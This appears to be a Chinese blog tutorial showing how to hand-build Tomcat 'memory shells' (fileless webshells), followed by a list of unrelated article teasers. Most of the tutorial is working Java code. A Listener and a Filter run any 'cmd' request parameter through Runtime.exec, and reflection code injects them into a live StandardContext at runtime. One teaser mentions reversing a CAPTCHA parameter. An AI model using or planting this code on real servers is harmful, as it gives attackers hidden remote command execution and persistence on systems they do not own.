JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Listen监听器Filter过滤器 📅 发布时间:2026/7/11 5:57:10 👁️ 浏览次数: 知识点Java攻防-内存马技术-手搓代码TomcatListenFilter演示案例-Java攻防-内存马技术-手搓代码TomcatListenFilter安装tomcat的依赖包方便IDA进行调试。pom.xml dependency groupIdorg.apache.tomcat/groupId artifactIdtomcat-catalina/artifactId version9.0.68/version /dependency手搓Tomcat-Listen内存马web.xml加入配置listenerlistener-classorg.example.testlisten.TestListen/listener-class/listener1、监听器使用public class TestListen implements ServletRequestListener{Override public void requestInitialized(ServletRequestEvent sre){System.out.println(requestInitialized);HttpServletRequest servletRequest(HttpServletRequest)sre.getServletRequest();String requestURIservletRequest.getRequestURI();if(requestURI.contains(/xiaodi)){String cmdservletRequest.getParameter(cmd);try{Runtime.getRuntime().exec(cmd);}catch(IOException e){throw new RuntimeException(e);}}ServletRequestListener.super.requestInitialized(sre);}Listen内存马的原理就是在原来的项目基础上通过反射技术植入一个新的监听器而这个新的监听器的默认方法下就包含了危险代码。2、断点调试分析StandardContext#contextApplicationContext#contextServletContext#request.getServletContext3、反射调用内存马相当于添加一个Listen 获取Servlet上下文也就是ServletContext ServletContext servletContextrequest.getServletContext();Field appctxservletContext.getClass().getDeclaredField(context);appctx.setAccessible(true);获取servletContext存储的值并强制转行ApplicationContext类型 ApplicationContext applicationContext(ApplicationContext)appctx.get(servletContext);Field stdctxapplicationContext.getClass().getDeclaredField(context);stdctx.setAccessible(true);获取applicationContext存储的值并强制转行standardContext类型 StandardContext standardContext(StandardContext)field.get(applicationContext);调用standardContext#addApplicationEventListener方法传入监听器TestListen testListennew TestListen();standardContext.addApplicationEventListener(testListen);手搓Tomcat-Filter内存马1、Filter使用web.xml加入配置filterfilter-nameTestFilter/filter-namefilter-classorg.example.testfilter.TestFilter/filter-class/filterfilter-mappingfilter-nameTestFilter/filter-nameurl-pattern/*/url-pattern/filter-mappingpublic class TestFilter implements Filter{Override public void init(FilterConfig filterConfig)throws ServletException{System.out.println(TestFilter init);Filter.super.init(filterConfig);}Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException{System.out.println(TestFilter doFilter);HttpServletRequest request1(HttpServletRequest)request;String requestURIrequest1.getRequestURI();if(requestURI.contains(/xiaodi)){String cmdrequest.getParameter(cmd);try{Runtime.getRuntime().exec(cmd);}catch(IOException e){throw new RuntimeException(e);}}}Override public voiddestroy(){System.out.println(TestFilter destroy);Filter.super.destroy();}}2、断点调试分析filter相关的有三个filterConfigs、filterDefs、filterMaps filterMaps 存放了filter别名和路由 filterDefs 存放了filter类指向和别名 filterConfigs 存放了一些配置信息 filter创建 涉及filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例 调用filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName3、反射调用内存马相当于添加一个Filter调用Servlet中getServletContext方法获取context ServletContext servletContextrequest.getServletContext();反射调用获取ApplicationContext字段context Field appctxservletContext.getClass().getDeclaredField(context);appctx.setAccessible(true);ApplicationContext applicationContext(ApplicationContext)appctx.get(servletContext);反射调用获取StandardContext字段context Field stdctxapplicationContext.getClass().getDeclaredField(context);stdctx.setAccessible(true);StandardContext standardContext(StandardContext)stdctx.get(applicationContext);反射调用获取StandardContext字段filterConfigs Field ConfigsstandardContext.getClass().getDeclaredField(filterConfigs);Configs.setAccessible(true);Map filterConfigs(Map)Configs.get(standardContext);创建FilterDef对象写入filter/fitlerName/filterClass信息 FilterDef filterDefnew FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);创建FilterMap对象添加url映射下面是直接拦截所有资源/* FilterMap filterMapnew FilterMap();filterMap.addURLPattern(/*);filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);调用addFilterMapBefore方法将所有东西都放入filterConfig中去 Constructor constructorApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);将名称和规则写入存储到filterConfigs filterConfigs.put(name,filterConfig);
论文写作效率翻倍:6款AI工具智能生成目录与格式,解放研究者双手 工具对比速览 工具名称 核心功能 处理速度 适用场景 特色优势 aibiye AI降重目录生成 20分钟 学术论文 知网/维普/格子达适配 aicheck AI检测目录优化 实时 初稿检查 多平台规则预判 askpaper 学术规范处理 15-30分钟 期刊投稿 保留专业术语 秒篇 一键式处… 2026/7/11 5:23:30
空间计算工具:ARKit的物理环境映射测试工具 随着增强现实(AR)技术在工业设计、医疗导航等领域的应用深化,ARKit作为苹果的核心开发套件,其物理环境映射功能成为测试从业者的关注焦点。 2026年软件测试公众号的数据显示,热度内容高度集中于解决实际痛点的主题&… 2026/7/7 20:06:42
当软件测试遇上基因序列:Biopython编码校验器的深度拆解与实战指南 一、痛点切入:DNA序列测试的“高危雷区” 2026年生物计算工具爆发性增长,但基因数据测试中仍有35%的错误源于编码解析失效。软件测试者常陷入四大陷阱: 格式混淆型错误:FASTA与GenBank文件结构差异导致元数据丢失(如特… 2026/7/11 3:47:36
RS485 上下拉电阻计算实战:从 2 节点到 32 节点的 4 种场景公式推导 RS485上下拉电阻工程计算指南:从基础理论到多节点实战在工业自动化、楼宇控制等场景中,RS485总线因其抗干扰能力强、传输距离远等优势成为首选通信方案。但许多工程师在实际部署时都会遇到一个共性难题:当总线空闲或部分节点离线时࿰… 2026/7/11 5:56:35
极验4.0滑块验证码w参数逆向与Python模拟生成全解析 1. 项目概述与核心价值最近在搞数据采集或者自动化测试的朋友,估计没少被极验4.0的滑块验证码给拦住。那个小小的滑块,背后是一整套复杂的加密和验证逻辑,尤其是那个被称为“w”的神秘参数,它就像是打开大门的唯一钥匙。网上虽然有… 2026/7/11 5:54:35
16+512GB手机为何成2026年高配低价新标准? 1. 项目概述:为什么“高配低价”在2026年突然成了可验证的现实?2026年手机市场出现了一个明显拐点:过去被厂商牢牢卡住的旗舰级硬件组合——16GB运行内存 512GB UFS 4.0存储,正以肉眼可见的速度从“顶配尝鲜价”滑向“主力机普及… 2026/7/11 5:50:32
OWASP TOP10实战指南:从漏洞原理到自动化安全测试落地 1. 项目概述:为什么OWASP TOP10是你的安全“体检表” 如果你是一名Web应用的开发者、运维或者安全负责人,听到“OWASP TOP10”这个词,大概率不会陌生。它就像一份定期发布的“全球通缉令”,只不过通缉的对象是Web世界里最猖獗、最… 2026/7/11 5:50:32
ImageNet 验证集标签处理:Python 脚本 10 行代码实现自动归档 ImageNet 验证集高效归档:10行Python脚本实现自动化分类在计算机视觉领域,ImageNet数据集一直是模型训练和评估的黄金标准。但许多开发者在处理验证集时都会遇到一个共同难题——如何快速将5万张验证图片按照1000个类别正确归档?本文将分享一… 2026/7/11 5:50:32
fastjson2 Mixin 机制详解:给任意类「注入」序列化注解 1. Mixin 是什么 Mixin 是 fastjson2 的「注解外部注入」机制:把 A 类(mixin)上的注解,当作 B 类(目标类)的注解来用,运行时织入,不改目标类源码。 一句话:让一个你没动过… 2026/7/11 5:48:31
5分钟搞定Kodi字幕难题:智能字幕插件让你追剧无忧 [特殊字符] 5分钟搞定Kodi字幕难题:智能字幕插件让你追剧无忧 🎬 【免费下载链接】zimuku_for_kodi Kodi 插件,用于从「字幕库」网站下载字幕 项目地址: https://gitcode.com/gh_mirrors/zi/zimuku_for_kodi 还记得那个深夜吗?你刚下载… 2026/7/11 0:00:11
工业信号干扰处理与FOD4216光耦应用实战 1. 工业环境中的信号干扰挑战在工业自动化领域,信号采集的准确性直接关系到整个控制系统的可靠性。典型的工业现场充斥着各种干扰源:大功率电机启停产生的电磁干扰、变频器工作产生的高频噪声、继电器触点火花放电,以及长距离传输引入的共模干… 2026/7/11 0:00:11
OpenHarmony 完整项目工程整合规范 + 模块化分层架构(API23+ 标准企业级结构) 摘要前面系列教程覆盖了 ArkUI 组件、路由、生命周期、本地存储、网络请求、Ability 底层全套基础能力,本篇统一梳理标准工程目录分层、模块化拆分、代码复用规范、全局工具统一管理、项目打包权限配置、常见工程报错统一解决方案,形成可直接用于课程设计… 2026/7/11 0:00:11
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/7 11:26:57
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/8 20:15:17
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/8 14:25:08